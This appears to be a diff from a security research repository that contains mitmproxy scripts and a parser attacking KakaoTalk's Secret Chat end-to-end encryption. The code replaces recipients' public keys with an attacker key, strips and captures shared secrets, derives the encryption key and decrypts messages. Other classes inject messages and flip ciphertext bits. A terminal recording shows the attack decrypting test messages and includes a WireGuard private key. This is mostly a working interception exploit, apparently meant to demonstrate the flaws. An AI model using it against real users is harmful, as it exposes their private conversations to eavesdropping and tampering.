"Could not decode BSON body of packet %s: %s", "Couldn't decode BSON body of packet %s: %s",
self.loco_command, self.loco_command,
general_exception, general_exception,
) )
@ -112,9 +119,9 @@ class LocoEncryptedPacket:
class LocoHandshakePacket: class LocoHandshakePacket:
def __init__(self, length=256, type=0, block_cipher_mode=0, payload=b""): def __init__(self, length=256, handshake_type=0, block_cipher_mode=0, payload=b""):
self.length = length self.length = length
self.type = type self.type = handshake_type
self.block_cipher_mode = block_cipher_mode self.block_cipher_mode = block_cipher_mode
self.payload = payload self.payload = payload
@ -130,29 +137,34 @@ class LocoParser:
def parse_loco_packet(self, data): def parse_loco_packet(self, data):
if not data: if not data:
logging.error("Could not parse LOCO encrypted packet: Packet data is None.") logging.error("Couldn't parse LOCO encrypted packet: Packet data is None.")
return None return None
try: try:
id = struct.unpack("<I", data[:4])[0] identifier = struct.unpack("<I", data[:4])[0]
status_code = struct.unpack("<H", data[4:6])[0] status_code = struct.unpack("<H", data[4:6])[0]
loco_command = data[6:17].decode().replace("\0", "") loco_command = data[6:17].decode().replace("\0", "")
body_type = struct.unpack("<b", data[17:18])[0] body_type = struct.unpack("<b", data[17:18])[0]
body_length = struct.unpack("<i", data[18:22])[0] body_length = struct.unpack("<i", data[18:22])[0]
body_payload = data[22:] body_payload = data[22:]
return LocoPacket( return LocoPacket(
id, status_code, loco_command, body_type, body_length, body_payload identifier,
status_code,
loco_command,
body_type,
body_length,
body_payload,
) )
except Exception as general_exception: except Exception as general_exception:
logging.error( logging.error(
"Could not parse LOCO packet: %s \nAre you running Frida to patch the AES key?", "Couldn't parse LOCO packet: %s \nAre you running Frida in parallel to patch the AES key?",
general_exception, general_exception,
) )
return None return None
def parse_loco_encrypted_packet(self, data): def parse_loco_encrypted_packet(self, data):
if not data: if not data:
logging.error("Could not parse LOCO encrypted packet: Packet data is None.") logging.error("Couldn't parse LOCO encrypted packet: Packet data is None.")
return None return None
try: try:
@ -161,25 +173,21 @@ class LocoParser:
payload = data[20:] payload = data[20:]
return LocoEncryptedPacket(length, iv, payload) return LocoEncryptedPacket(length, iv, payload)
except Exception as general_exception: except Exception as general_exception:
logging.error( logging.error("Couldn't parse LOCO encrypted packet: %s", general_exception)
"Could not parse LOCO encrypted packet: %s", general_exception
)
return None return None
def parse_handshake_packet(self, data): def parse_handshake_packet(self, data):
if not data: if not data:
logging.error("Could not parse LOCO handshake packet: Packet data is None.") logging.error("Couldn't parse LOCO handshake packet: Packet data is None.")
return None return None
try: try:
type = struct.unpack("<I", data[4:8])[0] handshake_type = struct.unpack("<I", data[4:8])[0]
block_cipher_mode = struct.unpack("<I", data[8:12])[0] block_cipher_mode = struct.unpack("<I", data[8:12])[0]
payload = data[22:] payload = data[22:]
return LocoHandshakePacket(type, block_cipher_mode, payload) return LocoHandshakePacket(handshake_type, block_cipher_mode, payload)
except Exception as general_exception: except Exception as general_exception:
logging.error( logging.error("Couldn't parse LOCO handshake packet: %s", general_exception)
"Could not parse LOCO handshake packet: %s", general_exception
)
return None return None
def parse(self, data): def parse(self, data):
@ -197,17 +205,23 @@ class LocoParser:
if not self.loco_packet: if not self.loco_packet:
return None return None
if not self.loco_packet.loco_command in ["MSG", "LOGINLIST"]: if self.loco_packet.loco_command not in ["MSG", "LOGINLIST", "WRITE"]:
return None return None
body_json = self.loco_packet.body_payload body_json = self.loco_packet.body_payload
# MSG LOCO packet
if ( if (
"chatLog" in body_json "chatLog" in body_json
and body_json["chatLog"]["message"] == trigger_message and body_json["chatLog"]["message"] == trigger_message
): ):
body_json["chatLog"]["message"] = payload body_json["chatLog"]["message"] = payload
# WRITE LOCO packet
if "msg" in body_json and body_json["msg"] == trigger_message:
body_json["msg"] = payload
# LOGINLIST LOCO packet
if "chatDatas" in body_json and body_json["chatDatas"]: if "chatDatas" in body_json and body_json["chatDatas"]:
if ( if (
"l" in body_json["chatDatas"][0] "l" in body_json["chatDatas"][0]
@ -216,7 +230,7 @@ class LocoParser:
): ):
body_json["chatDatas"][0]["l"]["message"] = payload body_json["chatDatas"][0]["l"]["message"] = payload
self.loco_packet.body_payload = self.bson_encode(body_json) self.loco_packet.body_payload = bson.dumps(body_json)
self.loco_packet.body_length = len(self.loco_packet.body_payload) self.loco_packet.body_length = len(self.loco_packet.body_payload)
return self.loco_encrypted_packet.create_new_packet(self.loco_packet) return self.loco_encrypted_packet.create_new_packet(self.loco_packet)
@ -224,11 +238,11 @@ class LocoParser:
return bytes((x ^ y) for (x, y) in zip(param1, param2)) return bytes((x ^ y) for (x, y) in zip(param1, param2))
def flip_bits(self): def flip_bits(self):
if not self.loco_packet.loco_command == "MSG": if self.loco_packet.loco_command != "MSG":
return None return None
if self.loco_packet.body_length != 221: if self.loco_packet.body_length != 221:
logging.error(f"I'm NOT here: {self.loco_packet.body_length}") logging.error("I'm NOT here: %s", self.loco_packet.body_length)
return None return None
else: else:
logging.error("I'm here!") logging.error("I'm here!")
@ -267,9 +281,7 @@ class LocoParser:
return (None, None, None) return (None, None, None)
if isinstance(self.loco_packet.body_payload, bytes): if isinstance(self.loco_packet.body_payload, bytes):
self.loco_packet.body_payload = self.bson_decode( self.loco_packet.body_payload = bson.loads(self.loco_packet.body_payload)
self.loco_packet.body_payload
)
if not self.loco_packet.loco_command in { if not self.loco_packet.loco_command in {
"GETPK", "GETPK",
@ -288,7 +300,7 @@ class LocoParser:
mitm_public_key_cleaned = self.get_clean_public_key(key_pair) mitm_public_key_cleaned = self.get_clean_public_key(key_pair)
logging.info("MITM public key: %s", mitm_public_key_cleaned) # logging.info("MITM public key: %s", mitm_public_key_cleaned)
original_public_key = self.loco_packet.body_payload["pi"][0]["ek"] original_public_key = self.loco_packet.body_payload["pi"][0]["ek"]
user_id = self.loco_packet.body_payload["pi"][0]["u"] user_id = self.loco_packet.body_payload["pi"][0]["u"]
@ -298,7 +310,7 @@ class LocoParser:
logging.error("Original and MITM public key don't have the same length!") logging.error("Original and MITM public key don't have the same length!")
return (None, None, None) return (None, None, None)
self.loco_packet.body_payload = self.bson_encode(self.loco_packet.body_payload) self.loco_packet.body_payload = bson.dumps(self.loco_packet.body_payload)
self.loco_packet.body_length = len(self.loco_packet.body_payload) self.loco_packet.body_length = len(self.loco_packet.body_payload)
return ( return (
@ -312,26 +324,20 @@ class LocoParser:
return None return None
if isinstance(self.loco_packet.body_payload, bytes): if isinstance(self.loco_packet.body_payload, bytes):
logging.error("Could not parse LOCO packet body.") logging.error("Couldn't parse LOCO packet body.")
return None return None
if self.loco_packet.loco_command not in {"SCREATE", "CHATONROOM"}: if self.loco_packet.loco_command not in {"SCREATE", "CHATONROOM"}:
return None return None
if self.loco_packet.body_payload.get("pi"):
logging.info(
"Removing public key from %s packet.", self.loco_packet.loco_command
)
self.loco_packet.body_payload.pop("pi")
if self.loco_packet.body_payload.get("si"): if self.loco_packet.body_payload.get("si"):
logging.info( logging.warning(
"Removing stored shared secret from %s packet.", "Removing stored shared secret from %s packet.",
self.loco_packet.loco_command, self.loco_packet.loco_command,
) )
self.loco_packet.body_payload.pop("si") self.loco_packet.body_payload.pop("si")
self.loco_packet.body_payload = self.bson_encode(self.loco_packet.body_payload) self.loco_packet.body_payload = bson.dumps(self.loco_packet.body_payload)
self.loco_packet.body_length = len(self.loco_packet.body_payload) self.loco_packet.body_length = len(self.loco_packet.body_payload)
return self.loco_encrypted_packet.create_new_packet(self.loco_packet) return self.loco_encrypted_packet.create_new_packet(self.loco_packet)
@ -347,7 +353,7 @@ class LocoParser:
return None return None
if isinstance(self.loco_packet.body_payload, bytes): if isinstance(self.loco_packet.body_payload, bytes):
logging.error("Could not parse LOCO packet body.") logging.error("Couldn't parse LOCO packet body.")
return None return None
if self.loco_packet.loco_command != "SETSK": if self.loco_packet.loco_command != "SETSK":
@ -368,7 +374,7 @@ class LocoParser:
try: try:
shared_secret = rsa_decrypt(encrypted_shared_secret, rsa_key_pair) shared_secret = rsa_decrypt(encrypted_shared_secret, rsa_key_pair)
except ValueError as value_error: except ValueError as value_error:
logging.exception(value_error) # logging.exception(value_error)
return None return None
return base64.b64encode(shared_secret) return base64.b64encode(shared_secret)
@ -378,7 +384,7 @@ class LocoParser:
return None return None
if isinstance(self.loco_packet.body_payload, bytes): if isinstance(self.loco_packet.body_payload, bytes):
logging.error("Could not parse LOCO packet body.") logging.error("Couldn't parse LOCO packet body.")
return None return None
if self.loco_packet.loco_command != "SETSK": if self.loco_packet.loco_command != "SETSK":
@ -389,7 +395,7 @@ class LocoParser:
) )
self.loco_packet.body_payload["sk"][0] = shared_secret self.loco_packet.body_payload["sk"][0] = shared_secret
self.loco_packet.body_payload = self.bson_encode(self.loco_packet.body_payload) self.loco_packet.body_payload = bson.dumps(self.loco_packet.body_payload)
self.loco_packet.body_length = len(self.loco_packet.body_payload) self.loco_packet.body_length = len(self.loco_packet.body_payload)
return self.loco_encrypted_packet.create_new_packet(self.loco_packet) return self.loco_encrypted_packet.create_new_packet(self.loco_packet)
@ -410,7 +416,7 @@ class LocoParser:
): ):
secret_message = base64.b64decode(self.loco_packet.body_payload["m"]) secret_message = base64.b64decode(self.loco_packet.body_payload["m"])
msg_id = self.loco_packet.body_payload["mid"] msg_id = self.loco_packet.body_payload["mid"]
# chat_id = self.loco_packet.body_payload["c"] chat_id = self.loco_packet.body_payload["c"]
# Get receiver's E2E message # Get receiver's E2E message
if ( if (
@ -421,16 +427,28 @@ class LocoParser:
self.loco_packet.body_payload["chatLog"]["message"] self.loco_packet.body_payload["chatLog"]["message"]
) )
msg_id = self.loco_packet.body_payload["chatLog"]["msgId"] msg_id = self.loco_packet.body_payload["chatLog"]["msgId"]
# chat_id = self.loco_packet.body_payload["chatId"] chat_id = self.loco_packet.body_payload["chatId"]
nonce = compute_nonce(shared_secret, msg_id) # KakaoTalk uses either the msgId or chatId to compute the nonce
nonce_with_msg_id = compute_nonce(shared_secret, msg_id)
nonce_with_chat_id = compute_nonce(shared_secret, chat_id)
logging.info("Nonce: %s", base64.b64encode(nonce)) # logging.info("Nonce with msgId: %s", base64.b64encode(nonce_with_msg_id))
# logging.info("Nonce with chatId: %s", base64.b64encode(nonce_with_chat_id))
return aes_e2e_decrypt(secret_message, e2e_encryption_key, nonce) decrypted_msg_1 = aes_e2e_decrypt(
secret_message, e2e_encryption_key, nonce_with_msg_id
)
decrypted_msg_2 = aes_e2e_decrypt(
secret_message, e2e_encryption_key, nonce_with_chat_id
)
try:
decoded_msg = decrypted_msg_1.decode("utf-8")
except UnicodeDecodeError:
decoded_msg = decrypted_msg_2.decode("utf-8")
return decoded_msg
def bson_encode(self, data): def bson_encode(self, data):
return bson.dumps(data) return bson.dumps(data)
def bson_decode(self, data):
return bson.loads(data)

View File

@ -31,7 +31,7 @@ class SecretChatMitm(LocoMitmBase):
def compute_e2e_encryption_key(self, shared_secret): def compute_e2e_encryption_key(self, shared_secret):
if not self.e2e_encryption_key: if not self.e2e_encryption_key:
self.e2e_encryption_key = self.parser.get_e2e_encryption_key(shared_secret) self.e2e_encryption_key = self.parser.get_e2e_encryption_key(shared_secret)
logging.info( logging.warning(
"Shared secret: %s E2E encryption key: %s", "Shared secret: %s E2E encryption key: %s",
shared_secret, shared_secret,
base64.b64encode(self.e2e_encryption_key), base64.b64encode(self.e2e_encryption_key),
@ -41,11 +41,14 @@ class SecretChatMitm(LocoMitmBase):
message = flow.messages[-1] message = flow.messages[-1]
self.parser.parse(message.content) self.parser.parse(message.content)
# Log LOCO packets to STDOUT
if self.parser.loco_packet: if self.parser.loco_packet:
decoded_loco_packet = self.parser.loco_packet.get_packet_as_dict()
logging.info( logging.info(
"from_client=%s, content=%s", "from_client=%s, content=%s",
message.from_client, message.from_client,
self.parser.loco_packet.get_packet_as_dict(), decoded_loco_packet,
) )
else: else:
logging.warning( logging.warning(
@ -53,14 +56,27 @@ class SecretChatMitm(LocoMitmBase):
message.from_client, message.from_client,
strutils.bytes_to_escaped_str(message.content), strutils.bytes_to_escaped_str(message.content),
) )
return return
# If there's already a shared secret stored on the server remove it from the LOCO packet # Drop LOCO packets that can't be decoded
if not message.from_client and self.parser.loco_packet.loco_command in { if not decoded_loco_packet:
"SCREATE", logging.warning(
"CHATONROOM", "Dropping %s packet as we cannot decode the packet body.",
}: self.parser.loco_packet.loco_command,
)
message.content = b""
return
# If there's already a shared secret stored on the server-side remove it
if (
not self.e2e_encryption_key
and not message.from_client
and self.parser.loco_packet.loco_command
in {
"SCREATE",
"CHATONROOM",
}
):
if isinstance(self.parser.loco_packet.body_payload, bytes): if isinstance(self.parser.loco_packet.body_payload, bytes):
logging.warning( logging.warning(
"Dropping %s packet as we cannot decode the packet body.", "Dropping %s packet as we cannot decode the packet body.",
@ -73,15 +89,29 @@ class SecretChatMitm(LocoMitmBase):
if tampered_packet: if tampered_packet:
message.content = tampered_packet message.content = tampered_packet
self.parser.parse(message.content)
# Drop server-side "SETSK" LOCO packets
if (
not self.e2e_encryption_key
and not message.from_client
and self.parser.loco_packet.loco_command == "SETSK"
):
logging.warning("Dropping server-side SETSK packet.")
message.content = b""
return
# Get recipient's public key and replace it with our MITM public key # Get recipient's public key and replace it with our MITM public key
if ( if (
not self.master_secret not self.e2e_encryption_key
and not message.from_client and not message.from_client
and self.parser.loco_packet.loco_command and self.parser.loco_packet.loco_command
in {"GETPK", "GETLPK", "SCREATE", "CHATONROOM"} in {"GETPK", "GETLPK", "SCREATE", "CHATONROOM"}
): ):
logging.info("Trying to parse recipient's public key from LOCO packet...") logging.warning(
"Trying to parse recipient's public key from %s packet...",
self.parser.loco_packet.loco_command,
)
( (
recipient_public_key, recipient_public_key,
self.recipient_user_id, self.recipient_user_id,
@ -111,30 +141,40 @@ class SecretChatMitm(LocoMitmBase):
) )
return return
logging.info("Injecting MITM public key...") logging.warning(
"Injecting MITM public key into %s packet...",
self.parser.loco_packet.loco_command,
)
message.content = tampered_packet message.content = tampered_packet
# logging.info("Tampered packet: %s", self.parser.loco_packet.get_packet_as_dict()) # logging.info("Tampered packet: %s", self.parser.loco_packet.get_packet_as_dict())
# Grab the shared secret from the "SETSK" packet # Grab the shared secret from the "SETSK" packet
if ( if (
self.recipient_public_key self.recipient_public_key
and not self.master_secret and not self.e2e_encryption_key
and message.from_client and message.from_client
and self.parser.loco_packet.loco_command == "SETSK" and self.parser.loco_packet.loco_command == "SETSK"
): ):
logging.info("Trying to parse shared secret from LOCO packet...") logging.warning(
"Trying to decrypt shared secret from %s packet...",
self.parser.loco_packet.loco_command,
)
shared_secret = self.parser.get_shared_secret(self.rsa_key_pair) shared_secret = self.parser.get_shared_secret(self.rsa_key_pair)
if not shared_secret: if not shared_secret:
logging.error("Couldn't parse shared secret from LOCO packet.") logging.error(
"Couldn't decrypt shared secret from %s packet. Dropping it...",
self.parser.loco_packet.loco_command,
)
message.content = b""
return return
self.shared_secret = shared_secret self.shared_secret = shared_secret
logging.info("Shared secret: %s", self.shared_secret) logging.warning("Shared secret: %s", self.shared_secret)
# Re-encrypt shared secret with the recipient's original public key # Re-encrypt shared secret with the recipient's original public key
logging.info("Trying to re-encrypt shared secret...") logging.warning("Trying to re-encrypt shared secret...")
tampered_packet = self.parser.encrypt_shared_secret( tampered_packet = self.parser.encrypt_shared_secret(
self.shared_secret, self.recipient_public_key self.shared_secret, self.recipient_public_key
@ -142,15 +182,15 @@ class SecretChatMitm(LocoMitmBase):
if tampered_packet: if tampered_packet:
message.content = tampered_packet message.content = tampered_packet
logging.info( logging.warning(
"Re-encrypted shared secret with recipient's original public key." "Re-encrypted shared secret with recipient's original public key."
) )
# Compute E2E encryption key # Compute E2E encryption key
if self.shared_secret: if not self.e2e_encryption_key and self.shared_secret:
self.compute_e2e_encryption_key(self.shared_secret) self.compute_e2e_encryption_key(self.shared_secret)
if self.master_secret: if not self.e2e_encryption_key and self.master_secret:
self.compute_e2e_encryption_key(self.master_secret) self.compute_e2e_encryption_key(self.master_secret)
# Decrypt Secret Chat end-to-end encrypted message # Decrypt Secret Chat end-to-end encrypted message
@ -161,7 +201,7 @@ class SecretChatMitm(LocoMitmBase):
and self.parser.loco_packet.loco_command == "MSG" and self.parser.loco_packet.loco_command == "MSG"
) )
): ):
logging.info("Trying to decrypt Secret Chat message...") logging.warning("Trying to decrypt Secret Chat message...")
decrypted_e2e_message = "" decrypted_e2e_message = ""
if self.master_secret: if self.master_secret:
@ -174,91 +214,11 @@ class SecretChatMitm(LocoMitmBase):
) )
if decrypted_e2e_message: if decrypted_e2e_message:
logging.info( logging.warning(
"from_client=%s, Secret Chat message=%s", "from_client=%s, Secret Chat message=%s",
message.from_client, message.from_client,
decrypted_e2e_message, decrypted_e2e_message,
) )
class InjectMessage(LocoMitmBase): addons = [SecretChatMitm(rsa_key_pair=get_rsa_key_pair())]
def __init__(self) -> None:
self.parser = LocoParser()
def tcp_message(self, flow: tcp.TCPFlow):
message = flow.messages[-1]
self.parser.parse(message.content)
if self.parser.loco_packet:
logging.info(
"from_client=%s, content=%s",
message.from_client,
self.parser.loco_packet.get_packet_as_dict(),
)
else:
logging.warning(
"from_client=%s, raw packet bytes=%s",
message.from_client,
strutils.bytes_to_escaped_str(message.content),
)
return
# Inject a new message to show that there are no integrity checks on the ciphertext
tampered_packet = self.parser.inject_message("foo", "bar")
if tampered_packet:
message.content = tampered_packet
class FlipCiphertextBits(LocoMitmBase):
def tcp_message(self, flow: tcp.TCPFlow):
message = flow.messages[-1]
self.parser.parse(message.content)
if self.parser.loco_packet:
logging.info(
"from_client=%s, content=%s",
message.from_client,
self.parser.loco_packet.get_packet_as_dict(),
)
else:
logging.warning(
"from_client=%s, raw packet bytes=%s",
message.from_client,
strutils.bytes_to_escaped_str(message.content),
)
return
# Flip bits of the ciphertext to show CFB malleability
flipped_packet = self.parser.flip_bits()
if flipped_packet:
message.content = flipped_packet
class TLSIntercept:
@staticmethod
def get_addr(server: connection.Server):
return server.peername or server.address
def tls_clienthello(self, data: tls.ClientHelloData):
if data.context.client.sni == "buy.kakao.com":
logging.info("MITM buy.kakao.com")
return
else:
server_address = self.get_addr(data.context.server)
logging.info(
"Skip TLS intercept for %s.", human.format_address(server_address)
)
data.ignore_connection = True
test_secret = b"AAAAAAAAAAAAAAAAAAAAAA=="
test_e2e_key = base64.b64decode("H1mnODpo+XZ+SEF8nR8p/ZYpNpAaLBLgB98E0tF+7Ek=")
# addons = [SecretChatMitm(rsa_key_pair=get_rsa_key_pair())]
# addons = [InjectMessage()]
# addons = [FlipCiphertextBits()]
addons = [TLSIntercept()]

View File

@ -0,0 +1,27 @@
import logging
from mitmproxy import connection, tls
from mitmproxy.utils import human
class TLSIntercept:
def __init__(self, host) -> None:
self.host = host
@staticmethod
def get_addr(server: connection.Server):
return server.peername or server.address
def tls_clienthello(self, data: tls.ClientHelloData):
if data.context.client.sni == self.host:
logging.info("MITM host: %s", self.host)
return
else:
server_address = self.get_addr(data.context.server)
logging.info(
"Skip TLS intercept for %s.", human.format_address(server_address)
)
data.ignore_connection = True
addons = [TLSIntercept(host="buy.kakao.com")]

View File

@ -1,8 +1,5 @@
# pyproject.toml # pyproject.toml
[tool.pytest.ini_options] [tool.pytest.ini_options]
pythonpath = [ pythonpath = [
".", "lib", ".",
]
testpaths = [
"tests",
] ]

View File

@ -0,0 +1,69 @@
{"version": 2, "width": 104, "height": 62, "timestamp": 1703089612, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}}
[0.019275, "o", "\u001b[1m\u001b[7m%\u001b[27m\u001b[1m\u001b[0m \r \r"]
[0.019992, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[Jfoo@bar % \u001b[K\u001b[?2004h"]
[0.835898, "o", "\u001b[7mmitmdump -m wireguard -s mitm_secret_chat.py\u001b[27m"]
[1.617137, "o", "\u001b[44D\u001b[27mm\u001b[27mi\u001b[27mt\u001b[27mm\u001b[27md\u001b[27mu\u001b[27mm\u001b[27mp\u001b[27m \u001b[27m-\u001b[27mm\u001b[27m \u001b[27mw\u001b[27mi\u001b[27mr\u001b[27me\u001b[27mg\u001b[27mu\u001b[27ma\u001b[27mr\u001b[27md\u001b[27m \u001b[27m-\u001b[27ms\u001b[27m \u001b[27mm\u001b[27mi\u001b[27mt\u001b[27mm\u001b[27m_\u001b[27ms\u001b[27me\u001b[27mc\u001b[27mr\u001b[27me\u001b[27mt\u001b[27m_\u001b[27mc\u001b[27mh\u001b[27ma\u001b[27mt\u001b[27m.\u001b[27mp\u001b[27my\u001b[?2004l\r\r\n"]
[2.054512, "o", "\u001b[36m\u001b[2m[17:26:54.800]\u001b[0m Loading script mitm_secret_chat.py\u001b[0m\r\n"]
[2.139824, "o", "\u001b[36m\u001b[2m[17:26:54.886]\u001b[0m ------------------------------------------------------------\r\n[Interface]\r\nPrivateKey = Yx0cLHgi3RK0wOIlK+8+jaUPiGb6gk9pDe4APa+17Xo=\r\nAddress = 10.0.0.1/32\r\nDNS = 10.0.0.53\r\n\r\n[Peer]\r\nPublicKey = 0GG6e0oM1sT8YBx0hKZkYGtYIDp1umAfeg9Bxi4aCUA=\r\nAllowedIPs = 0.0.0.0/0\r\nEndpoint = 192.168.178.20:51820\r\n------------------------------------------------------------\u001b[0m\r\n"]
[2.139979, "o", "\u001b[36m\u001b[2m[17:26:54.886]\u001b[0m WireGuard server listening at *:51820.\u001b[0m\r\n"]
[2.936682, "o", "\u001b[36m\u001b[2m[17:27:01.682]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:37532]\u001b[0m client connect\u001b[0m\r\n"]
[3.31688, "o", "\u001b[36m\u001b[2m[17:27:02.062]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:37532]\u001b[0m server connect 203.133.176.212:5228\u001b[0m\r\n\u001b[36m\u001b[2m[17:27:02.062]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:43596]\u001b[0m client disconnect\u001b[0m\r\n"]
[3.317891, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
[3.318393, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
[3.678494, "o", "10.0.0.1:37532 <- tcp <- 203.133.176.212:5228\r\n"]
[3.790623, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
[3.798489, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
[3.819455, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
[4.13633, "o", "10.0.0.1:37532 <- tcp <- 203.133.176.212:5228\r\n"]
[4.153191, "o", "10.0.0.1:37532 <- tcp <- 203.133.176.212:5228\r\n"]
[5.495991, "o", "\u001b[36m\u001b[2m[17:27:05.242]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:15687]\u001b[0m client connect\u001b[0m\r\n"]
[5.660868, "o", "10.0.0.1:15687: \u001b[32mDNS QUERY (A)\u001b[0m \u001b[1mopen.kakao.com\u001b[0m\r\n\u001b[1m <<\u001b[0m \u001b[94m211.249.222.27\u001b[0m, \u001b[94m211.249.222.27\u001b[0m\r\n"]
[5.663238, "o", "\u001b[36m\u001b[2m[17:27:05.409]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:41526]\u001b[0m client connect\u001b[0m\r\n"]
[6.000929, "o", "\u001b[36m\u001b[2m[17:27:05.747]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:41526]\u001b[0m server connect 211.249.222.27:443\u001b[0m\r\n"]
[6.001646, "o", "\u001b[36m\u001b[2m[17:27:05.747]\u001b[0m Skip TLS intercept for 211.249.222.27:443.\u001b[0m\r\n"]
[7.512348, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
[7.869379, "o", "\u001b[36m\u001b[2m[17:27:08.615]\u001b[0m \u001b[33mTrying to parse recipient's public key from GETLPK packet...\u001b[0m\r\n"]
[7.871747, "o", "\u001b[36m\u001b[2m[17:27:08.617]\u001b[0m \u001b[33mInjecting MITM public key into GETLPK packet...\u001b[0m\r\n"]
[7.872163, "o", "10.0.0.1:37532 <- tcp <- 203.133.176.212:5228\r\n"]
[8.375168, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
[8.784781, "o", "\u001b[36m\u001b[2m[17:27:13.530]\u001b[0m \u001b[33mRemoving stored shared secret from SCREATE packet.\u001b[0m\r\n"]
[8.785688, "o", "\u001b[36m\u001b[2m[17:27:13.531]\u001b[0m \u001b[33mTrying to parse recipient's public key from SCREATE packet...\u001b[0m\r\n"]
[8.786891, "o", "\u001b[36m\u001b[2m[17:27:13.533]\u001b[0m \u001b[33mInjecting MITM public key into SCREATE packet...\u001b[0m\r\n"]
[8.787123, "o", "10.0.0.1:37532 <- tcp <- 203.133.176.212:5228\r\n"]
[8.796792, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
[8.818242, "o", "\u001b[36m\u001b[2m[17:27:13.564]\u001b[0m \u001b[33mTrying to decrypt shared secret from SETSK packet...\u001b[0m\r\n"]
[8.824421, "o", "\u001b[36m\u001b[2m[17:27:13.570]\u001b[0m \u001b[33mShared secret: b'AAAAAAAAAAAAAAAAAAAAAA=='\u001b[0m\r\n"]
[8.824434, "o", "\u001b[36m\u001b[2m[17:27:13.570]\u001b[0m \u001b[33mTrying to re-encrypt shared secret...\u001b[0m\r\n"]
[8.824897, "o", "\u001b[36m\u001b[2m[17:27:13.571]\u001b[0m \u001b[33mRe-encrypted shared secret with recipient's original public key.\u001b[0m\r\n"]
[8.827122, "o", "\u001b[36m\u001b[2m[17:27:13.573]\u001b[0m \u001b[33mShared secret: b'AAAAAAAAAAAAAAAAAAAAAA==' E2E encryption key: b'H1mnODpo+XZ+SEF8nR8p/ZYpNpAaLBLgB98E0tF+7Ek='\u001b[0m\r\n"]
[8.827203, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
[9.196109, "o", "10.0.0.1:37532 <- tcp <- 203.133.176.212:5228\r\n"]
[9.200326, "o", "\u001b[36m\u001b[2m[17:27:13.946]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:37532]\u001b[0m client disconnect\u001b[0m\r\n"]
[9.200563, "o", "\u001b[36m\u001b[2m[17:27:13.946]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:37532]\u001b[0m server disconnect 203.133.176.212:5228\u001b[0m\r\n"]
[9.207994, "o", "\u001b[36m\u001b[2m[17:27:13.954]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:37536]\u001b[0m client connect\u001b[0m\r\n"]
[9.513264, "o", "\u001b[36m\u001b[2m[17:27:14.259]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:37536]\u001b[0m server connect 203.133.176.212:5228\u001b[0m\r\n"]
[9.516665, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
[9.517005, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
[9.914841, "o", "10.0.0.1:37536 <- tcp <- 203.133.176.212:5228\r\n"]
[9.922923, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
[9.926347, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
[9.927496, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
[9.942153, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
[10.32729, "o", "10.0.0.1:37536 <- tcp <- 203.133.176.212:5228\r\n"]
[10.327926, "o", "10.0.0.1:37536 <- tcp <- 203.133.176.212:5228\r\n"]
[10.351394, "o", "\u001b[36m\u001b[2m[17:27:15.097]\u001b[0m \u001b[33mTrying to decrypt Secret Chat message...\u001b[0m\r\n"]
[10.358553, "o", "\u001b[36m\u001b[2m[17:27:15.104]\u001b[0m \u001b[33mfrom_client=True, Secret Chat message=This is a test\u001b[0m\r\n"]
[10.358583, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
[10.617857, "o", "\u001b[36m\u001b[2m[17:27:15.363]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:23165]\u001b[0m Closing connection due to inactivity: Client(10.0.0.1:23165, state=open)\u001b[0m\r\n"]
[10.619493, "o", "\u001b[36m\u001b[2m[17:27:15.364]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:31319]\u001b[0m Closing connection due to inactivity: Client(10.0.0.1:31319, state=open)\u001b[0m\r\n"]
[10.621226, "o", "\u001b[36m\u001b[2m[17:27:15.366]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:23165]\u001b[0m client disconnect\u001b[0m\r\n\u001b[36m\u001b[2m[17:27:15.366]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:31319]\u001b[0m client disconnect\u001b[0m\r\n"]
[10.731682, "o", "10.0.0.1:37536 <- tcp <- 203.133.176.212:5228\r\n"]
[11.338215, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
[11.659369, "o", "10.0.0.1:37536 <- tcp <- 203.133.176.212:5228\r\n"]
[11.686635, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
[12.063056, "o", "10.0.0.1:37536 <- tcp <- 203.133.176.212:5228\r\n"]
[13.326544, "o", "\u001b[36m\u001b[2m[17:27:19.072]\u001b[0m \u001b[33mTrying to decrypt Secret Chat message...\u001b[0m\r\n"]
[13.333818, "o", "\u001b[36m\u001b[2m[17:27:19.079]\u001b[0m \u001b[33mfrom_client=True, Secret Chat message=Yet another test\u001b[0m\r\n"]
[14.333893, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
[14.639828, "o", "10.0.0.1:37536 <- tcp <- 203.133.176.212:5228\r\n"]
